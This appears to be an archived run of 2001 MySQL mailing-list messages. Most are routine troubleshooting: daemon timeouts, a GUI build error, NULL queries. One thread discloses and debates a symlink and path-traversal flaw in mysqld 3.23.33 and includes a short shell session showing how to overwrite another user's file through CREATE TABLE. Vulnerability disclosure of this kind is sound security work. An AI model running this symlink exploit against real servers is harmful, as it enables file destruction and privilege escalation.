Bonjour Sinisa, SM BAUMEISTER Alexandre writes: SM Sinisa, SM SM Yes, for now. But in the final application, there will be a lot of SM connections from network. SM SM SM SM This entire problem with signal 14 can be due to PHP not using SM mysql_close. SM Please try to explicitely close connection at the programs exits and SM see if problem reccurs. I've no PHP scripts accessing Mysql for now. Only some little programs written in C which are connecting to Mysql and doing some UPDATE on a few tables. Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[8]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Bonjour Sinisa,
I've no PHP scripts accessing Mysql for now.
Only some little programs written in C which are connecting to Mysql
and doing some UPDATE on a few tables.
Alex.
And you have mysql_close at the end of them ??
Also, please try our 2.7 binary, just to rule out build problmes.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[10]: Warning: Got signal 14 from thread X
Sinisa, SM I've no PHP scripts accessing Mysql for now. SM SM Only some little programs written in C which are connecting to Mysql SM and doing some UPDATE on a few tables. SM SM Alex. SM SM SM SM And you have mysql_close at the end of them ?? These are daemon programs ... not exiting. I've about 10 programs initialising a connection and then looping, doing some updates on table while receiving data from another input. The schema is : 1. Connecting to Mysql 2. reading data (from a file for example) 3. updating Mysql table 4. if any error, do a mysql_ping() in order to re-connect if disconnected 5. loop to 2. SM Also, please try our 2.7 binary, just to rule out build problmes. I will try now. Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Hi. All your arguments are irrelevant regarding my post: Sergei stated that MySQL 3.23 would not be vulnerable to the posted exploit and I proved it is (respecting the rules given in the exploit). I never argued about the impact of the exploit. To be true, I am worried about the answers we get. First, I wonder about how Sergei was not able to repeat it, when I had no problem. A test case showing that it did not work for him would have been nice (sorry, Sergei, no harm intended). Then you simply "talk away" the harm of this exploit, and ignore what was said before. All your arguments may be valid, but have nothing to do with the fact that there is an exploitable bug, regardless how many impact it has. In fact, until now, nobody from MySQL even officially acknowledged that there is a problem, except implicitly by discussing it (on the mysql-list I mean... there was an answer on bugtraq). I wrote my last mail just because I already confirmed that problem with 3.23 after I read bugtraq and therefore knew, that Sergei must have tested in a different way than me. But now I am upset about the fact, that obviously my post was not taken seriously. :-( My comments to your arguemnts follow below. Bye, Benjamin. On Wed, Mar 21, 2001 at 02:23:43PM +0200, [EMAIL PROTECTED] wrote: [...] newton:~ mysql -u root -e "select version()" +---+ | version() | +---+ | 3.23.33 | +---+ 8:26:25 newton:~ sudo -u mysql touch /tmp/test # just created a file owned by mysql-user 8:26:45 newton:~ ln -sf /tmp/test /tmp/yikes.MYI 8:26:54 newton:~ ls -l /tmp [...] -rw-r--r--1 mysqlmysql 0 Mar 21 08:26 test lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test 8:26:57 newton:~ mysql ../../../../tmp -e "create table yikes(w int(4))" 8:27:02 newton:~ ls -l /tmp [...] -rw-r--r--1 mysqlmysql1024 Mar 21 08:28 test -rw-rw1 mysqlmysql 0 Mar 21 08:28 yikes.MYD lrwxrwxrwx1 philemon philemon9 Mar 21 08:28 yikes.MYI - /tmp/test -rw-rw1 mysqlmysql8548 Mar 21 08:28 yikes.frm So, I have just overwritten a file not owned by me, namely /tmp/test. If mysql was running as root (which is of couse deprecated), I could overwrite any file in the system this way and even gain root access (as shown by someone on bugtraq), I think. Did I overlook something? So, it looks to me, that at least 3.23.33 is not secure in this way (I have not compared 3.23.34 resp. 3.23.35 because for both problems were reported preventing them from use in production systems). Even without MySQL running as root, I can do a lot of harm (with privilege to create tables, I can probably gain MySQL root privileges, delete any other table, delete configs and log files and so on). Running mysql as root is not safe. I did not presume running mysql as root. See above: The files are owned by user 'mysql'. And I even explained which harm one can do with only getting mysql-user rights. Next, you had full shell access, with which you can accomplish practically anything. Huh? That's new to me. I agree, that someone in the know almost always can find some way to gain root privileges if shell access is granted, but it is far more difficult than the two-liner above, which each script kiddie can use. You don't really want to compare that, do you? Btw, I don't need full shell access. I only need the possibility to create a link, for example a buggy CGI-script with www privileges which I can talk to executing ln -s /... This way two "harmless" bugs become a serious one. Just take a look at passwd or shadow file, crack it and you can have what ever you want. Well, the wit about shadow file is that it is *not* world readable. I always thought, that's what it's made for. In other words: on a properly secured system, it's not impossible, but a lot more difficult to do what you are talking about. I cannot really believe that you meant that stuff as a serious explanation that the bug shown above is not harmful. Last but not least, there is another matter. CREATE and FILE privileges also should not be granted lightly. Of course, that why I was explicitly talking about the fact, that the user needs CREATE privileges (FILE privileges are not needed, If I am not mistaken). - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: problems with mysqlGUI
Alonso Guarisma writes:
Dear MySQL Sirs,
I have been trying to compile and build the GUI for MySQL (in Linux) and
apparently the last stage of the installation has been given me a very
hard time...I have followed the instructions from the website and the
last error ocurred when I tried to run "make" within /mysqlgui-1.7.4.
This is the output the I got after some others:
-
[mysqladm@lightning mysqlgui-1.7.4]# make
g++ -o mysqlgui about.o db_tree.o Fl_NSlider.o getvars.o qsort.o
queries.o bebac.o main.o do_sql.o tables.o dodatni.o status.o process.o
grant.o password.o get_table.o admin.o single.o zoom.o sin_jpeg.o
jmemsrc.o options.o Fl_File_Dialog.o Fl_Dir.o Fl_Input_File.o Fl_Tree.o
Fl_ToggleTree.o Fl_ToggleNode.o Animated_Icon.o Fl_Help.o Fl_Envelope.o
Fl_Envelope_Scroll.o Selection.o gif.o -L. -L/usr/X11R6/lib -lfleditor
-lsqlplus -L/usr/local/lib -L/usr/local/mysql/lib/mysql -lmysqlclient
-lm -lflvw -lfltk -lXext -ljpeg /usr/lib/libz.a
/usr/bin/ld: cannot find -lsqlplus
collect2: ld returned 1 exit status
make: *** [mysqlgui] Error 1
-
Where should the library "sqlplus" be located? Why this library is not
created by mysql++?
In my case I have the include files of MySQL in:
/usr/local/mysql/include/mysql
and the libraries of MySQL in: /usr/local/mysql/lib/mysql
Here I show the list of file in /usr/local/mysql/lib and in
/usr/local/mysql/lib/mysql respectively:
-
[guarisma@lightning ~]$ ls -l /usr/local/mysql/lib
total 8532
-rw-r--r--1 root root 5531118 Mar 20 14:47 libsqlplus.a
-rwxr-xr-x1 root root 713 Mar 20 14:47 libsqlplus.la
lrwxrwxrwx1 root root 19 Mar 20 14:47 libsqlplus.so -
libsqlplus.so.1.0.7
lrwxrwxrwx1 root root 19 Mar 20 14:47 libsqlplus.so.1
- libsqlplus.so.1.0.7
-rwxr-xr-x1 root root 3176781 Mar 20 14:47
libsqlplus.so.1.0.7
drwxrwxr-x2 mysqladm mysqlgrp 4096 Feb 16 12:19 mysql
[guarisma@lightning ~]$ ls -l /usr/local/mysql/lib/mysql
total 968
-rw-r--r--1 mysqladm mysqlgrp11086 Feb 16 12:19 libdbug.a
-rw-r--r--1 mysqladm mysqlgrp34650 Feb 16 12:19 libheap.a
-rw-r--r--1 mysqladm mysqlgrp15284 Feb 16 12:19 libmerge.a
-rw-r--r--1 mysqladm mysqlgrp 230612 Feb 16 12:19 libmyisam.a
-rw-r--r--1 mysqladm mysqlgrp23678 Feb 16 12:19 libmyisammrg.a
-rw-r--r--1 mysqladm mysqlgrp 178152 Feb 16 12:19 libmysqlclient.a
-rwxr-xr-x1 mysqladm mysqlgrp 721 Feb 16 12:19
libmysqlclient.la
lrwxrwxrwx1 mysqladm mysqlgrp 24 Feb 16 12:19
libmysqlclient.so - libmysqlclient.so.10.0.0lrwxrwxrwx1 mysqladm
mysqlgrp 24 Feb 16 12:19 libmysqlclient.so.10 -
libmysqlclient.so.10.0.0
-rwxr-xr-x1 mysqladm mysqlgrp 131813 Feb 16 12:19
libmysqlclient.so.10.0.0
-rw-r--r--1 mysqladm mysqlgrp32152 Feb 16 12:19 libmystrings.a
-rw-r--r--1 mysqladm mysqlgrp 190354 Feb 16 12:19 libmysys.a
-rw-r--r--1 mysqladm mysqlgrp 100492 Feb 16 12:19 libnisam.a
-
I would really appreciate any help regarding this matter, thanks in
advance
Alonso Guarisma
Hi!
You need to build MySQL++ also.
But, why bother ?? Just download, install and use mysqlgui static
binary for Linux. Save yourself lot's of trouble.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Benjamin Pflugmann writes:
Hi.
cut
Of course, that why I was explicitly talking about the fact, that the
user needs CREATE privileges (FILE privileges are not needed, If I am
not mistaken).
First of all, it is easy to reproduce a test case.
Second, that FILE privilege I was citing is there because of SELECT ..
INTO OUTFILE ... I thought that you would understand that.
Regarding shadow file, I can crack it in 15 minutes, if I had the
interest, but I have no such interests. And I did it only on my own
computer once 4 years ago.
A CGI script that could be talked to executing ln -s
That is a bit far fetched.
Any scenario that involves shell access (or funny CGI scripts) or
similar, can not be considered as MySQL security flaw.
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[10]: Warning: Got signal 14 from thread X
Sinisa, SM Bonjour Sinisa, SM SM SM I've no PHP scripts accessing Mysql for now. SM SM Only some little programs written in C which are connecting to Mysql SM and doing some UPDATE on a few tables. SM SM Alex. SM SM SM SM And you have mysql_close at the end of them ?? SM Also, please try our 2.7 binary, just to rule out build problmes. Your binay distribution is not compiled with Innobase ... /usr/local/mysql/libexec/mysqld: unrecognized option `--innobase_data_home_dir=/usr/local/mysql/var/innobase_data/' while I use Innobase ... Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[10]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
SM Bonjour Sinisa,
SM
SM
SM I've no PHP scripts accessing Mysql for now.
SM
SM Only some little programs written in C which are connecting to Mysql
SM and doing some UPDATE on a few tables.
SM
SM Alex.
SM
SM
SM
SM And you have mysql_close at the end of them ??
SM Also, please try our 2.7 binary, just to rule out build problmes.
Your binay distribution is not compiled with Innobase ...
/usr/local/mysql/libexec/mysqld: unrecognized option
`--innobase_data_home_dir=/usr/local/mysql/var/innobase_data/'
while I use Innobase ...
Alex.
You are right. Follow other recommandations.
Salut,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re[12]: Warning: Got signal 14 from thread X
Sinisa, SM These are daemon programs ... not exiting. I've about 10 programs SM initialising a connection and then looping, doing some updates on SM table while receiving data from another input. SM SM The schema is : SM SM1. Connecting to Mysql SM2. reading data (from a file for example) SM3. updating Mysql table SM4. if any error, do a mysql_ping() in order to re-connect if SM disconnected SM5. loop to 2. SM SM SM Also, please try our 2.7 binary, just to rule out build problmes. SM SM I will try now. SM SM Alex. SM SM SM SM Well, the above provides some more light ! SM Increase wait timeout to some HUGE value. Same for net_read_timeout SM and net_write_timeout. SM Also, if signal 14 happens again check if the corresponding daemon is SM still running. If I had a thread on my daemons which executes a mysql_ping() each 30 secondes and increase net_read_timeout to 60 will it be ok ? Does a mysql_ping() reset net_read and net_write timer ? Alex. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
selecting null values
Hi, I have a database which has a text field (let's name it title). The field is NULL initially. Now I have about a hundred thousand records in the db, where the title field is NULL. I have to fill these NULL title fields with the appropriate data, so I have to select them one-by-one, calculate the title field, and update the data. So my query would be: SELECT * FROM table WHERE title = NULL LIMIT 1; But it does not work. One of you wrote, that NULL is not equal with anything, not even with NULL. Could you please help me, what kind of select should I write in situations like this? In this particular case, I will do find a workaround, but I am curious, how to handle NULL values. Regards, Peter Szekszardi PortoLogic Ltd. Portal building, prime number generating, script hacking and more... The prime number of the day is 262559183 - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Re[12]: Warning: Got signal 14 from thread X
BAUMEISTER Alexandre writes:
Sinisa,
If I had a thread on my daemons which executes a mysql_ping() each
30 secondes and increase net_read_timeout to 60 will it be ok ? Does
a mysql_ping() reset net_read and net_write timer ?
Alex.
Alex mon ami,
This is all that mysql_ping does (on the server) :
send_ok(net); // Tell client we are alive
No resetting of anything, what so ever.
And anybody can have a bug in the code, so can you
Regards,
Sinisa
__ _ _ ___ == MySQL AB
/*/\*\/\*\ /*/ \*\ /*/ \*\ |*| Sinisa Milivojevic
/*/ /*/ /*/ \*\_ |*| |*||*| mailto:[EMAIL PROTECTED]
/*/ /*/ /*/\*\/*/ \*\|*| |*||*| Larnaca, Cyprus
/*/ /*/ /*/\*\_/*/ \*\_/*/ |*|
/*/^^^\*\^^^
/*/ \*\Developers Team
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: FW: potential vulnerability of mysqld running with root privileges
Hi. Unfortunatly, again you don't answer to my mail, but only to a side comment I made. :-( On Wed, Mar 21, 2001 at 03:37:45PM +0200, [EMAIL PROTECTED] wrote: Benjamin Pflugmann writes: Hi. cut Of course, that why I was explicitly talking about the fact, that the user needs CREATE privileges (FILE privileges are not needed, If I am not mistaken). First of all, it is easy to reproduce a test case. Sorry, but I don't understand what you refer to. Second, that FILE privilege I was citing is there because of SELECT .. INTO OUTFILE ... I thought that you would understand that. Oh. We are getting personally? RANTSorry, that I tried to help to improve a great product./RANT Does that mean you already verified that SELECT ... INTO OUTFILE is vulnarable, too, or is this just an assumption? Regarding shadow file, I can crack it in 15 minutes, if I had the interest, but I have no such interests. Yes, I already acknowledged in a part of my mail you decided not to quote, that someone in the know will find a way. And I did it only on my own computer once 4 years ago. A CGI script that could be talked to executing ln -s That is a bit far fetched. Any scenario that involves shell access (or funny CGI scripts) or similar, can not be considered as MySQL security flaw. Well, that depends. IMO, this is a security flaw, because you can get MySQL to do something it should IMO not do. I already agreed (again, in a part of my last mail you did not quote) that there is room to argue about the probability that someone has to environment to use it. Nevertheless, you agree that this behaviour is not intended and should / will be fixed? Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
